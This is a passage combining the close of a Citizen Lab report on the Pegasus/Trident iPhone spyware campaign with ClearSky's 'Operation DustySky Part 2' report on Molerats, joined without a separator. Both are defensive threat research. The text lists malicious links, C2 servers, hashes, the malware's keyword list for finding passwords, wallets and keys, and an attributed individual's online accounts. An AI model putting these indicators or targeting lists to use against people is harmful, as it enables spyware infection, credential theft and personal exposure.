Mobile Attack Infrastructure). 7.1. Mexico: Politically Motivated Targeting? In the case of Mexico, one target appears to be the journalist Rafael Cabrera, who recently reported on the Casa Blanca controversy, a reported conflict of interest involving the President and First Lady of Mexico. On August 30, 2015 the journalist Cabrera tweeted that he had received suspicious messages purporting to come from Mexican television station UNO TV. His tweet included screencaptures of the messages, which said that Mexico s Presidency was considering defamation claims and imprisonment of reporters related to the Casa Blanca report that Cabrera had worked on. 11/14 Figure 18: Messages purporting to come from UNO TV suggesting that a story he was linked to might result in defamation charges or incarceration. Image via Mexican journalist Rafael Cabrera s tweet. The English translations of the messages are as follows: UNOTV.COM/ THE PRESIDENT S OFFICE WILL SUE FOR DEFAMATION THOSE WHO PUBLISH REPORTING ON CASA BLANCA. NOTE: [MALICIOUS LINK] UNOTV.COM/ ON THE TOPIC OF THE CASA BLANCA, THE PRESIDENCY COULD INCARCERATE REPORTERS WHILE THEY LOOK INTO THE NAMES: [MALICIOUS LINK] The links in the screenshots expand to http://fb-accounts.com/1074139s/ and http://unonoticias.net/3423768s/. These match two domain names we linked to the apparent NSO Group infrastructure. A director at UNO TV responded to Cabrera s Tweet, saying that these were not our messages 100%. Figure 19: A director from UNO TV states that the suspicious SMS messages sent to Cabrera were not from his company. Image via Twitter. We were unable to achieve a successful infection from either link sent to Cabrera, presumably because the links were several months old when we found them, and had been clicked on either by Cabrera himself, or by other interested parties who saw Cabrera s tweet. Continuing our investigation, we made contact with Cabrera and learned that he had been recently targeted with an additional series of messages containing suspicious links. Figure 20: Additional SMS messages sent to Rafael Cabrera containing links to the exploit infrastructure. Screenshots courtesy of Rafael Cabrera. The English translations of the messages are as follows (clockwise from top-left): 12/14 Facebook reports efforts to access the account of: Rafael Cabrara. Avoid account blockage, Verify at: [MALICIOUS LINK] UNOTV.COM/ CARMEN ARISTEGUI MAY RUN AS AN INDEPENDENT CANDIDATE IN 2018. DETAILS: [MALICIOUS LINK] TELCEL.COM/. DEAR CLIENT WE REMIND YOU THAT YOU HAVE AN OUTSTANDING DEBT OF $8,854.90 IN NATIONAL CURRENCY. TO VERIFY DETAILS [MALICIOUS LINK] [CL Note: this message contains highly profane sexual taunts, followed by a malicious link] The fourth message is most noteworthy, as it contained profane and personal sexual taunts, unlike the other messages. Each of these messages contained a link that would have led, we believe, to the infection of his iPhone with NSO Group s Pegasus spyware via the Trident exploit. Similar SMS messages have also been reported in other online posts from Mexico. 7.2. Kenya: A Tweet Discussing the Opposition In the case of Kenya, we found a past tweet containing a link to the NSO Group exploit infrastructure from June 3, 2015. The tweet, sent by a Senior Research Officer in the Office of the Senate Minority Leader, references Moses Wetangula, who is the current Minority Leader of Kenya s Senate. Figure 21: A Kenya-related link to apparent NSO Group infrastructure. 8. Ahmed Mansoor and Previous UAE Attacks In this section, we provide an overview of previous attacks we have documented against Ahmed Mansoor, and other UAE dissidents. The technical sophistication of previous attacks we observed pales in comparison to the present attack. Ahmed Mansoor has been a frequent target of past electronic attacks. In March 2011, he was targeted with FinFisher spyware disguised as a PDF of a pro-democracy petition he had previously signed. The spyware arrived in the form of an executable file inside a .rar file attached to an email. Mansoor noticed that the file was an EXE file rather than a PDF, and did not open it. Mansoor and four other activists (the UAE Five ) were imprisoned in April 2011, and charged with insulting the leaders of the UAE. Mansoor and the others were pardoned in November of the same year. In July of 2012, Ahmed Mansoor s laptop was infected with Hacking Team spyware delivered via a booby-trapped Microsoft Word document exploiting an old Microsoft Office vulnerability, CVE 2010-3333. The spyware sent information from his computer to a UAE intelligence agency, apparently operating under the auspices of the office of Sheikh Tahnoon bin Zayed alNahyan, a son of the founder of the UAE, and now the UAE Deputy National Security Advisor. Attackers broke into Mansoor s email account shortly after the infection. We assisted Mansoor in recovering from the attack. Another UAE-based human rights activist, and a UAE-based journalist were also targeted in the same operation. In early 2013, Mansoor was sent a link to a website that attempted to install spyware on his computer by exploiting a public Java vulnerability for which no patch had yet been issued. He realized the link was suspicious and did not click on it. Throughout 2013 and 2014, Mansoor was unsuccessfully targeted several times with spyware, mostly XTremeRAT, SpyNet RAT, and njRAT delivered as executable files in attachments or through Google Drive links. In 2014, Mansoor s Twitter account was hacked. In a campaign stretching from 2012 until 2016, UAE dissidents at home and abroad were targeted by Stealth Falcon, an attacker likely linked to a UAE government agency. Stealth Falcon sent out links involving a fake URL shortener that employed Javascript to profile targets computers, checked which antivirus programs they had installed, and attempted to deanonymize them if they were using Tor. Stealth Falcon also sent out Microsoft Word documents containing custom spyware that was installed if a user enabled macros. Targets included five dissidents who were later arrested or convicted in absentia, as well as Rori Donaghy, a UK-based journalist who had been publishing articles about leaked emails involving members of the UAE government. 9. Conclusion In this report, we identify a highly technically sophisticated attack involving a zero-day iPhone remote jailbreak Trident which installs spyware on a phone whose user clicks just once on a malicious link. We connected the attack to NSO Group s Pegasus spyware suite, sold exclusively to government agencies by Israel-based NSO Group. We made the connection based on our previous work tracing a group of servers that appeared to be part of an infrastructure for attacking mobile phones. Long before Ahmed Mansoor had forwarded us any suspicious links he received, we had mapped out a set of 237 servers (Section 5), and linked this set to NSO Group ( Section 6). When Mansoor sent us screencaptures of the SMS messages containing the links, we immediately matched the links domain name to our list of suspected servers associated with NSO Group s Pegasus. We visited the links Mansoor sent us from a colleague s factory-reset stock iPhone, and managed to capture the exploits and payload, as the phone was infected. We shared these artifacts with Lookout to gain more insight into the technical capabilities of the exploits and spyware, and with Apple as part of a responsible disclosure process. Apple has been highly responsive, and has worked very quickly to develop and issue a patch in the form of iOS 9.3.5, approximately 10 days after our initial report to them. Once an iPhone is updated to this most recent version, it will be immediately protected against the Trident exploit chain used in this attack. While we assume that NSO Group and others will continue to develop 13/14 replacements for the Trident, we hope that our experience encourages other researchers to promptly and responsibly disclose such vulnerabilities to Apple and to other vendors. What Can You Do? All iPhone owners should update to the latest version of iOS (9.3.5) immediately. If you re unsure what version you re running, you can check it yourself by tapping Settings > General > About > Version. Citizen Lab agrees with Apple that users should avoid opening or downloading items from messages and websites unless they are certain that they come from a legitimate, trusted source. If you uncertain about the source, you should not click the link or open the file. If you believe you have been the victim of a targeted attack, should consider sharing it with a trusted expert. If you suspect you have been the target of this attack, please contact the Citizen Lab at info@citizenlab.org. Zero-day exploits are expensive and rare, especially one-click remote jailbreak exploits for iPhones, like the Trident. Such exploits can fetch hundreds of thousands or even a million dollars. While Citizen Lab research has shown that many state-sponsored spyware campaigns against civil society groups and human rights defenders use just enough technical sophistication, coupled with carefully planned deception, the attack on Mansoor demonstrates that not all threats follow this pattern. This is the third time Mansoor has been targeted with lawful intercept spyware; Mansoor was targeted in 2011 with spyware from FinFisher (based in Germany and the UK), in 2012 with spyware from Hacking Team (based in Italy), and now in 2016 with what appears to be spyware from NSO Group (based in Israel and reportedly owned by a US firm). That the companies whose spyware was used to target Mansoor are all owned and operated from democracies speaks volumes about the lack of accountability and effective regulation in the cross-border commercial spyware trade. While these spyware tools are developed in democracies, they continue to be sold to countries with notorious records of abusive targeting of human rights defenders. Such sales occur despite the existence of applicable export controls. For example, Israel s export regime incorporates the dual-use technology controls of the Wassenaar Arrangement , including those related to intrusion software. As such, NSO Group would presumably be required to obtain a license to export its products to the UAE. If NSO Group did submit a license application, the human rights abuses perpetrated by the UAE, including the misuse of lawful intercept capabilities, must not have outweighed authorities other motivations to approve the export. Clearly, additional legal and regulatory scrutiny of the the lawful intercept market, and of NSO Group s activities in relation to the attacks we have described, is essential. Citizen Lab and others have repeatedly demonstrated that advanced lawful intercept spyware enables some governments and agencies, especially those operating without strong oversight, to target and harass journalists, activists and human rights workers. If spyware companies are unwilling to recognize the role that their products play in undermining human rights, or address these urgent concerns, they will continue to strengthen the case for further intervention by governments and other stakeholders. Note: We are not releasing the malicious files at this time to protect the integrity of ongoing investigations. Acknowledgements Special thanks to the team at Lookout that we collaborated with in our investigation, especially: Max Bazaliy, Andrew Blaich, Kristy Edwards, Michael Flossman, Seth Hardy, and Mike Murray. Very special thanks to our talented Citizen Lab colleagues, especially: Ron Deibert, Sarah McKune, Claudio Guarnieri, Adam Senft, Irene Poetranto, and Masashi Nishihata. Special thanks to the teams at Apple Inc. with whom we have been in contact for their prompt and forthright engagement during the disclosure and patching process. Special thanks to Nicholas Weaver for supplying the iPhone that we infected in Section 4. Special thanks to Zakir Durumeric. Special thanks to TNG and others who provided invaluable assistance, including with translation, but requested to remain anonymous. Thanks to PassiveTotal. Citizen Lab s research into targeted threats against civil society is supported by the John D and Catherine T MacArthur Foundation. This material is also based upon work supported by the Center for Long Term Cybersecurity (CLTC) at UC Berkeley. Disclosure Timeline Citizen Lab researchers received the initial suspicious link on August 10th 2016, and, shortly thereafter, contacted Lookout Security. After both teams confirmed the presence of a remote jailbreak we initiated a responsible disclosure process and contacted Apple on August 15th. Teams from Citizen Lab and Lookout continued our analysis until the public release of iOS 9.3.5 by Apple, which closes the vulnerabilities that we disclosed. 14/14 June 2016 Operation DustySky Part 2 ClearSky Cybersecurity www.clearskysec.com/dustysky2 TLP:White For public distribution ______________________________________________________________________________ All Rights reserved to C. S Consultings ltd. "ClearSky" www.clearskysec.com Page 1of 26 Contents Foreword ..............................................................................................................................................................3 Acknowledgments .......................................................................................................................................3 Background ...........................................................................................................................................................4 Targeting and incidents ........................................................................................................................................5 Who are they after? .........................................................................................................................................5 Targeting in Hebrew and English .................................................................................................................5 Targeting in arabic .......................................................................................................................................9 What are they after? ......................................................................................................................................11 Infrastructure......................................................................................................................................................13 Key C2 and delivery servers .......................................................................................................................13 Threat actor and Attribution ..............................................................................................................................15 Threat actor ...............................................................................................................................................15 Who is moayy2ad@hotmail.com ..............................................................................................................16 Contacting ClearSky........................................................................................................................................22 By Email......................................................................................................................................................22 By phone ....................................................................................................................................................23 Appendix A Indicators......................................................................................................................................24 ______________________________________________________________________________ (C) All Rights reserved to C.S. Consultings Ltd, 2016. "ClearSky" www.clearskysec.com Page 2 of 26 Foreword This report is a follow-up on our DustySky operation report from January 20161. It analyses new attacks by Molerats against targets in Israel, The United States, Egypt, Saudi Arabia, United Arab Emirates and The Palestinian Authority. We elaborate on the scope and targeting of the DustySky campaign and expose new infrastructure and incidents. In addition, we expose the identity of an individual who is behind the DustySky campaign. Following the previous report, this individual has contacted us trying to learn what we know about him. Attacks against all targets in the Middle East stopped at once, after we published our first report. However, the attacks against targets in the Middle East (except Israel) were renewed in less than 20 days. In the beginning of April 2016, we found evidence that the attacks against Israel have been renewed as well2. Based on the type of targets, on Gaza being the source of the attacks, and on the type of information the attackers are after - we estimate with medium-high certainty that the Hamas terrorist organization3 is behind these attacks. Acknowledgments This research was facilitated by the PassiveTotal for threat infrastructure analysis. We would like to thank the security researchers and organizations who shared information and provided feedback, which have been crucial for this research. clearskysec.com/dustysky The report seems to have indeed disrupted the attacker for several months. In a PDB found in a sample from the April wave, there is an indication that the attacker saw that wave as part 2 of the attacks (part 1 being the attacks before the public report): Name D:\IL\Working Tools\2016-04-23 NeD Ver 9 Ran Il - 192.52.167.118\NeD Download and execute Version 1 - Doc\bin\Release\Obfuscated\News.pdb https://www.nctc.gov/site/groups/hamas.html ______________________________________________________________________________ (C) All Rights reserved to C.S. Consultings Ltd, 2016. "ClearSky" www.clearskysec.com Page 3 of 26 Background DustySky is a multi-stage malware written in .NET (recently ported to C++). It is composed of a DustySky dropper, DustySky core, and the DustySky keylogging component. It has been developed and used since May 2015 by Molerats (aka "Gaza cybergang"), a terrorist group whose main objective in this campaign is intelligence gathering. A wave of malicious email messages has been sent on a weekly basis to hundreds of targets. The email message and the lure documents are written in Hebrew, Arabic or English. The attackers would send a malicious email message that either links to an archive file (RAR or ZIP compressed) or has one attached to it. The archive contains an .exe file, sometimes disguised as a Microsoft Word file, a video, or another file format, using the corresponding icon. We have also found samples that use Microsoft Word files embeded with a malicious macro, which would infect the victim if enabled. In all cases the attackers rely on social engineering - convincing the victim to open the file (and enabling content if it is disabled) - and not on software vulnerabilities In addition to DustySky, the attackers use publicly available tools such as the following Remote Administration Tools (RAT): Poison ivy, Nano Core, XtremeRAT, DarkComet and Spy-Net. These tools have been used either following an initial DustySky infection, or by themselves. Targeted sectors are mostly governmental and diplomatic institutions including embassies; companies from the aerospace and defense Industries; financial institutions; journalists; software developers. Most targets are from the Middle East, some are in the United States and Europe. In January 2016 we've published an extensive report about the campaign and malware - Operation DustySky - which is available here: clearskysec.com/dustysky ______________________________________________________________________________ (C) All Rights reserved to C.S. Consultings Ltd, 2016. "ClearSky" www.clearskysec.com Page 4 of 26 Targeting and Incidents Who are they after? Targeting in Hebrew and English Below are examples of lure documents presented to the victim while the malware infects the computer. The content of the document is always copied from an online public source. The subject usually revolves around defense and security or current affairs. Once in a while other topics or content are used - such as a public corporate responsibility document published by Egged, an Israeli bus company; a part of an online Novel published as a doc file; or pornographic materials. Intelligence agencies succeeding in penetrating Hezbollah.exe IDF survey Research Center ______________________________________________________________________________ (C) All Rights reserved to C.S. Consultings Ltd, 2016. "ClearSky" www.clearskysec.com Page 5 of 26 )unused condom( Live Webcam For Free .exe (Six killed and 15 wounded in an collision between bus and tractor trailer) ______________________________________________________________________________ (C) All Rights reserved to C.S. Consultings Ltd, 2016. "ClearSky" www.clearskysec.com Page 6 of 26 Intelligence Report: Israel s strategic position has improved.exe .exe (corporate responsibility and sustainability report - Egged) .exe (blind love game chapter G) ______________________________________________________________________________ (C) All Rights reserved to C.S. Consultings Ltd, 2016. "ClearSky" www.clearskysec.com Page 7 of 26 Ynet news In a recent wave, a bit.ly link (https://bitly[.]com/1YRoIPX) was used instead of a direct link to the malware (bit.ly is a legitimate URL shortening service). The shortened link statistics page enables us to learn about the scope and the targeting of this threat actor. We can see that the link was clicked 210 times, out of which 130 were in Israel, 32 in the United States, 9 in the Palestinian authority, and 39 from 12 other countries (1-5 each). The statistics do not necessarily reflect the exact distribution of targets: one target may click more than one time; a proxy or VPN may skew the country count; and security researchers and bots may also comprise part of the clicks. However, they do roughly represent the scope of the campaign: tens to few hundreds of recipients - mostly in Israel, the United States and the Palestinian Territories. This corresponds to the distribution we know of based on other sources such as direct reports from targets, cases we have investigated, and open source intelligence. ______________________________________________________________________________ (C) All Rights reserved to C.S. Consultings Ltd, 2016. "ClearSky" www.clearskysec.com Page 8 of 26 Targeting in arabic Below are examples of a document and a malicious email, targeting Arabic speaking victims. (Summary daily intelligence report) .exe (The true story behind the death of the leader Farid Ismail in Scorpio prison) When targeting Arab-speaking counties, most targets are in Egypt, Saudi Arabia, The Palestinian authority and United Arab Emirates. We have learned of more than 150 targets in these countries when investigating a breached email account used by the attackers to send further malicious emails. About 60% of targeted the email addresses where Gmail, Hotmail and Yahoo accounts. The rest of the email accounts were in organizations - both private and governmental. ______________________________________________________________________________ (C) All Rights reserved to C.S. Consultings Ltd, 2016. "ClearSky" www.clearskysec.com Page 9 of 26 We searched for information about the targets in order to learn the interests of the attackers. Below are examples of targeted individuals and organizations: Several diplomats and employees of the ministry of foreign affairs in Egypt (20 emails addresses at mfa.gov.eg, investment.gov.eg and other offices). Egypt s Ambassador in the Ukraine, Counsellor of Permanent Mission of Egypt to the United Nations, the Egyptian Embassy in New Zealand, and Egyptian Embassy in Pakistan. An individual at the prime minister's office at the Palestinian Authority (both his Gmail account and an account under pmo.pna.ps). A senior official at the Birzeit University in the Palestinian Authority. A consultant at West Bank and Gaza Group, The World Bank (worldbank.org). Israeli banks. Israeli military and defense companies. Ministry of Foreign Affairs of Saudi Arabia (2 email addresses at mofa.gov.ae). Ministry of Foreign Affairs of United Arab Emirates (2 email addresses at mofa.gov.sa). A banks in Dubai and Abu Dhabi, United Arab Emirates. A Lobbying organizations in the UK. Former politician in the UK. A diplomat the European Commission (ec.europa.eu). The Royal Hashemite Court in Jordan (rhc.jo). An employee at the U.S. Department of State (state.gov). ______________________________________________________________________________ (C) All Rights reserved to C.S. Consultings Ltd, 2016. "ClearSky" www.clearskysec.com Page 10 of 26 What are they after? The malware scans the computer for files that contain certain keywords. The list of keywords, in base64 format, is retrieved from the command and control server as a text file. For example: These words indicate what information the attackers are after - information pertaining to homeland security and military issues; personal documents; credentials, certificates and private keys. Below are keywords that have been used in the recent campaigns: Baste64 Decoded ZW1haWxz Emails YWNjb3VudHM= Accounts Yml0Y29pbg== Bitcoin Y3YuZG9j cv.doc Y3YucGRm cv.pdf TG9naW4gRGF0YQ== Login Data S2V5V29yZA== KeyWord LndhbGxldA== .wallet LnBmeA== .pfx Lm92cG4= .ovpn dXNlcnMgbmFtZSBhbmQgcGFzc3dvcmQ= English translation users name and password dG9yLmRvYw== tor.doc cGFzc3dvcmRz passwords cGF5cGFs paypal bG9naW5zLg== logins. bG9naW5z logins aWQucGRm id.pdf aWQuanBn id.jpg ______________________________________________________________________________ (C) All Rights reserved to C.S. Consultings Ltd, 2016. "ClearSky" www.clearskysec.com Page 11 of 26 Intelligence 2YXYrdi22LEg2KfYrNiq2YXYp9i5 meeting protocol 2YPZhNmF2KfYqiDZhdix2YjYsQ== passwords 2YPZhNmF2KfYqiDYs9ix passwords 2YPZhNmF2KfYqiDYp9mE2YXYsdmI2LE= the passwords 2YPZhNmF2KfYqiDYp9mE2LPYsQ== the passwords 2YPZhNmF2KfYqiDYp9mE2LPYsQ== the passwords 2YLYp9i52K/YqSDYqNmK2KfZhtin2Ko= Database 2YXYrtin2KjYsdin2Kog document 2LPZitiq2Kcg SITA (www.sita.aero) 2LnYs9mD2LHZiiA= military defense or security related the emails 2YjYq9mK2YLYqQ== 2LPZitix2Kkg2LDYp9iq2YrYqQ== 2KPZhdmG2Yog 2KfZhNil2YrZhdmK2YTYp9iq 2KfYs9iq2K7YqNin2LHYp9iq 16rXldeb16DXmdeV16og16bXkdeQ15nXlde 16rXldeb16DXmdeV16o= intelligence military plans plans Shabak (Israel Security Agency) prime minister 16HXmdeh157XkNeV16o= passwords 16HXmdeh157XkA== password 16HXldeTLg== secret combat sea ports 16bXkdeQ15nXldeq military related 16bXkdeQ15k= 15TXldeT16LXldeq military related messages special forces unit 16nXkScn15s= 16jXkNepINeU157Xntep15zXlA== 16DXntec15nXnSDXp9eo15HXmded 15nXl9eZ15PXlCAg157XmdeV15fXk9eq 15jXmdeh15nXnQ== pilots 15HXmdeY15fXldeg15nXnQ== Defense and security related 15DXkdeY15fXlA== security 157XqdeqJyfXpA== collaborator (a person who cooperates with the enemy) ministry of internal affairs 157XoNeU16jXldeq tunnels 157XoNeU16jXlA== tunnel 157Xlicn15zXmA== drone 157XldeT16LXmdef intelligence 157XldeT15nXoteZ158= intelligence 157Xldeh15Mg Mossad 157Xqdeo15Mg15TXpNeg15nXnQ== ______________________________________________________________________________ (C) All Rights reserved to C.S. Consultings Ltd, 2016. "ClearSky" www.clearskysec.com Page 12 of 26 Infrastructure As in previous cases, the attackers still serve copied content on IPs, domains and hosts they control. For example, one of the command and control servers, mafy.2waky[.]com, serves content copied from a legitimate unrelated website - radaronline.com. The copied content is probably there just to confuse suspecting targets and security researchers. In other cases, the visitor was redirected via HTTP 301 response to a legitimate unrelated website www.onlinepcsupport.co.uk. Key C2 and delivery servers The attackers have been using IP address 192.52.167.118 since the beginning of January. In the Heat map below, we can see that new hosts/domains (marked by orange triangle) have pointed to it during JanuaryFebruary and again in May. ______________________________________________________________________________ (C) All Rights reserved to C.S. Consultings Ltd, 2016. "ClearSky" www.clearskysec.com Page 13 of 26 Source: https://www.passivetotal.org/passive/192.52.167.118 IP address 204.152.203.99 is newer and has been in use since May: Source: https://www.passivetotal.org/passive/204.152.203.99 Below are the active IPs used for command and control or for delivery: ASN and Hosting provider 204.152.203.99 United States Los Angeles Graeme Tee, QuadraNet 192.161.48.59 United States Los Angeles Graeme Tee, QuadraNet 192.52.167.118 United States Burns Crowncloud Us Llc, Crowncloud US LLC 185.82.202.207 Netherlands Amsterdam Host Sailor Ltd. 173.254.236.130 United States Los Angeles Graeme Tee, QuadraNet, Inc 168.235.86.156 United States Macon Ramnode Llc 167.160.36.101 United States Lewes Gwy It Pty Ltd, Web2Objects LLC 107.191.47.42 United States Tampa Vultr Holdings Llc, Choopa, LLC 84.200.68.163 Germany Freinsheim Ip Projects, IP-Projects GmbH & Co. KG 72.11.148.147 United States Los Angeles QuadraNet Inc 23.229.3.70 Turkey Istanbul Turkrdns.com, B2 Net Solutions Inc Further indicators are provided in Appendix A. ______________________________________________________________________________ (C) All Rights reserved to C.S. Consultings Ltd, 2016. "ClearSky" www.clearskysec.com Page 14 of 26 Threat Actor and Attribution The DustySky campaign has been going on for over a year, with more than 120 command and control hostnames, and dozens of known unique malware samples. However, it has not been technologically advanced, and the infrastructure and attacks have not been operated professionally. Open directories were often left on delivery servers. Traces were left on infected systems and abused email accounts. Malware delivery was often predictable, contained spelling mistakes or even irrelevant lure documents, and were easy to identify. Most importantly, the attacker forgot to cover his trails, enabling us to learn his identity. Threat actor In the beginning of December 2015, three samples were submitted to online malware detection and analysis platforms malwr.com and Virus Total. The samples were Word documents with a macro version of DustySky. They were submitted on the same date they were last saved. The person who last saved the documents (after weaponizing them with the malicious macro) forgot to clear the file metadata. Thus, the Last Saved By properties of the documents contained his username: moayy2ad@hotmail.com The images below display this username in the samples metadata: Invoice details.doc (b1071ab4c3ef255c6ec95628744cfd3d), uploaded on 3 December 20154 and Invoice-Complete.doc (77d6e2068bb3367b1a46472b56063f10) uploaded on 2 December 20155 https://malwr.com/analysis/Yjc4YjVjYmNjYzVjNGE2MzhkMTc1OWJjMjdjNjExNWU/ https://malwr.com/analysis/NmU4MjcxYjYwZmQ1NDk4YmI5NjI3MDMzMDM2N2E1ZTY/ ______________________________________________________________________________ (C) All Rights reserved to C.S. Consultings Ltd, 2016. "ClearSky" www.clearskysec.com Page 15 of 26 Google-Privacy.doc (9c60fadece6ea770e2c1814ac4b3ae74) uploaded to VirusTotal on 3 December 20156 Who is moayy2ad@hotmail.com The unique username moayy2ad enabled us to find plenty of information on the attacker. Googling for moayy2ad@hotmail.com led the following blog7, which has been removed in the months after we published the first report: https://www.virustotal.com/en/file/f96f07288039ebabb8d837043f06f8f1445ed4484023353e1111a40ac4f25fd8/analysis/ mrayesh.blogspot[.]com ______________________________________________________________________________ (C) All Rights reserved to C.S. Consultings Ltd, 2016. "ClearSky" www.clearskysec.com Page 16 of 26 The blog was created by mo ayyad on Blogger, who is also using the name mo ayy. This profile has been made private following our publication. Searching for the same username in Gmail (moayy2ad@gmail.com) yielded further results. A Google+ profile8 with a similar nickname ay - was connected to this address. The profile has also been disabled in the months after we published the first report. https://plus.google.com/u/1/115033746922297164649 ______________________________________________________________________________ (C) All Rights reserved to C.S. Consultings Ltd, 2016. "ClearSky" www.clearskysec.com Page 17 of 26 The owner of the Gmail account has developed a flashlight app9. In the app s page we learn that he uses the name Mo'ayyad Ay and that he is from Gaza In the YouTube channel10 linked to moayy2ad@gmail.com (which, like the other accounts, has been made private later), the individual has uploaded anti-Israeli propaganda videos: https://play.google.com/store/apps/details?id=org.moayyad.aye.flash.app&hl=en https://www.youtube.com/user/1quds/feed ______________________________________________________________________________ (C) All Rights reserved to C.S. Consultings Ltd, 2016. "ClearSky" www.clearskysec.com Page 18 of 26 According to the videos he watched it seems that he was learning development and hacking skills over the past few years: ______________________________________________________________________________ (C) All Rights reserved to C.S. Consultings Ltd, 2016. "ClearSky" www.clearskysec.com Page 19 of 26 Similarly, we found his Twitter account11 (also disabled) full name Moayyad Ayesh and Facebook account12 https://twitter.com/MoayyadAyesh https://www.facebook.com/profile.php?id=100012034095150 ______________________________________________________________________________ (C) All Rights reserved to C.S. Consultings Ltd, 2016. "ClearSky" www.clearskysec.com Page 20 of 26 We also found this cached chat in Tor based chat service in which moayy2ad is talking about israil bnk acounts" (we do not have the rest of the conversation). ______________________________________________________________________________ (C) All Rights reserved to C.S. Consultings Ltd, 2016. "ClearSky" www.clearskysec.com Page 21 of 26 The Gmail address is connected to a Facebook account, probably of a fake identity - Montaser Ali (https://www.facebook[.]com/montaser.ali.338). The profile says that the actor resides in Nablus, and that he is a member of a group called Rebellion West-Bank Contacting ClearSky In the first DustySky report, we mentioned we know the identity of the attacker, but have decided not to reveal it. Consequently, the attacker contacted us, trying to learn what we know about him. By Email Eleven days after we publicly published Operation DustySky , we received the following email https://www.facebook.com/%D8%AA%D9%85%D8%B1%D8%AF-%D8%A7%D9%84%D8%B6%D9%81%D8%A9%D8%A7%D9%84%D8%BA%D8%B1%D8%A8%D9%8A%D8%A9-542062199177072/ ______________________________________________________________________________ (C) All Rights reserved to C.S. Consultings Ltd, 2016. "ClearSky" www.clearskysec.com Page 22 of 26 We immediately recognized the email as a fake coming from an unofficial address - idf.cyber@gmail.com and written in English. The email, allegedly sent by the Israeli Defense Force cyber team , asked for undisclosed information we had about the culprit behind DustySky (the email referred to a statement in the first report in which we wrote that we have decided not to disclose this individual s name in the public report By phone Few days later, we were contacted again, this time by phone. The caller pretended to be an official in one of the effected countries mentioned in the report. Similarly, he asked for further information about the identity of the attacker. We asked the caller to send his request via email. Corroborating the provided contact information, we learned that this was also a fake. In both cases, we did not send any information to the attackers. However, we used the new leads to deepen the investigation. Below is the email we received: ______________________________________________________________________________ (C) All Rights reserved to C.S. Consultings Ltd, 2016. "ClearSky" www.clearskysec.com Page 23 of 26 Appendix A Indicators Type indicator comments AV detection Win.Trojan.DustySky AV detection Trojan.Dustky AV detection Trojan.MSIL.Musik domain education-support.space domain falcondefender.com domain support-update.ml domain such.market hostname support.mafy-koren.online hostname mafy.2waky.com hostname smail.otzo.com hostname ad.education-support.space hostname info.education-support.space hostname support.servecounterstrike.com hostname reme.otzo.com hostname supports.esmtp.biz hostname news.cloudns.cc hostname speed.ns01.biz hostname space.support-reg.space hostname mo.mefound.com hostname support.read-books.org hostname supports.3utilities.com 84.200.68.163 23.229.3.70 204.152.203.99 192.52.167.118 168.235.86.156 167.160.36.101 sender "Free Movies" sender "IDF Survey Research Center.." sender avynorton@gmail.com 59bab785127418972dda9da5571b73fd 07dae7dada9ec3fa22507dfa5921c993 4bd6a959cce13d1f5b5511a428e88c9c 2ba0e52b885cabfbcd88866ab4072f54 1d922e183418ac087933c526f7bd06c1 3ce39f8afce9463c6d90c00ce72edb86 77fd78042407a7318dba388da00700cc delivery email source address ______________________________________________________________________________ (C) All Rights reserved to C.S. Consultings Ltd, 2016. "ClearSky" www.clearskysec.com Page 24 of 26 a5b3fb5119fad72ac321d8d6416b6b92 30b843343590518e7b62c5f6db394bc2 2a654ecb26664013d8e2369fe9c0b565 b11b7b7b5bd80779dd885628d65e02e5 Folder.exe cc24cd17fa93fce7ea1128edeb9ee40b Drops b11b7b7b5bd80779dd885628d65e02e5 5e906ccb3b67131e4771ca72609c0648 ad5531b085ef005ee12319e88fb8f674 2f5397ad6205ab4463e6e3be9aba4efe 0ae4345213cad388dbe38e2acda1a489 28a5e9b2ef5cfd2edb7f31d3da9a5a15 8655af063090ef192a7f1e0c05c7883f 6e66ed5d8c7d4ca9c2e96f2cc045eb94 d01848a20e0f5c4a7a7243bb98a7b26c 923844dfc3d5b21f288df9beaa958baf 639d768d575c45372ea707ed89423f36 b4ab538f592082373e9ab96373561713 cleaned.exe b85c17f92629fec41502b44cf86ba859 1.exe 6f08808d0be510698563d3b0443fe5a4 New.exe b8c6c8eeb9a18b1d4632bc8191db5517 Folder.exe ddff0a7643f4ff2fe777e768e7bae004 log file.exe 2395c798ca8628e735ac2d8d274cd230 bc6baf7a1d420d226a7a157b412a51d9 8ba38899a6446366724d98761dd10d46 d538e50df25e30f3c4252ce523507d23 a50da199db97abb2dfd6fd62b5a00f02 2a1884bdab940ea66b28599245e79fa9 2f30034885045bae4a201bf6b3913b54 23c3f3e93ea2ffe704abb602d04588c0 b8c6c8eeb9a18b1d4632bc8191db5517 e5500274853f77be6ffba610dac2cae4 ffa1bdc105013e1cbb00483b412b98b8 0264076c190af6e1176e1abff47d1ae8 02ef03bd5e6dbf9c03e8504c9e797abd Name D:\IL\Working Tools\2016-04-23 NeD Ver 9 Ran Il 192.52.167.118\NeD Download and execute Version 1 Doc\bin\Release\Obfuscated\News.pdb http://bit[.]ly/1YRoIPX drops ad5531b085ef005ee12319e88fb8f674 Updata.exe http://smail.otzo[.]com/W/Gfsdfsdfsrydkfpsdmfpsadsdfsdf sdfsdfdfsp.php http://smail.otzo[.]com/y/analysis--hezbollah.rar https://drive.google[.]com/uc?export=download&id= 0B7XzN8DNbJKiQlFNRHdVTmpCd0U https://drive.google[.]com/uc?export=download&id=0Bxa UrWGCqlWLMTQzMVFNOENIUFk ______________________________________________________________________________ (C) All Rights reserved to C.S. Consultings Ltd, 2016. "ClearSky" www.clearskysec.com Page 25 of 26 https://drive.google[.]com/uc?export=download&id=0B7n 4BFDObRocdm1uS2J4SWVUNWc http://drive.google[.]com/uc?export=download&id=0ByjYV MTYJB0saHlTalJ6ZWlWWGM support.mafy-koren[.]online/reg-update support.mafy-koren[.]online/UFeed.php filename Israel's Cellebrite linked to FBI's iPhone hack attempt.exe filename Report-Photos.rar filename Analysis--Hezbollah.rar filename Report.rar exe. filename filename Logs.exe filename filename Analysis and estimates (Dahlan) heads of state next Palestine.exe Report-Palestinian-President.rar filename Folder.lnk filename Folder.exe in \Startup\ exe. filename filename filename Intelligence Report Israel s strategic position has improved.exe Updata.lnk in \Startup\ exe. filename filename Office 2016.exe filename edikvlxhprg.lnk in \Startup\ filename edikvlxhprg.exe in \Startup\ filename plugin.exe filename Fared-Ismael.rar filename exe. filename cleaned.exe filename cbkp1vpsv1y.exe filename jnpqmri1aus.exe filename gzch5y2cyne.exe filename retn0gzbksd.lnk in \Startup\ filename pktkvkgj4bl.lnk in \Startup\ filename filename Intelligence agencies succeeding in penetrating Hezbollah.exe exe. Intelligence Report Israel s strategic position has improved.exe exe. x509 fingerprint 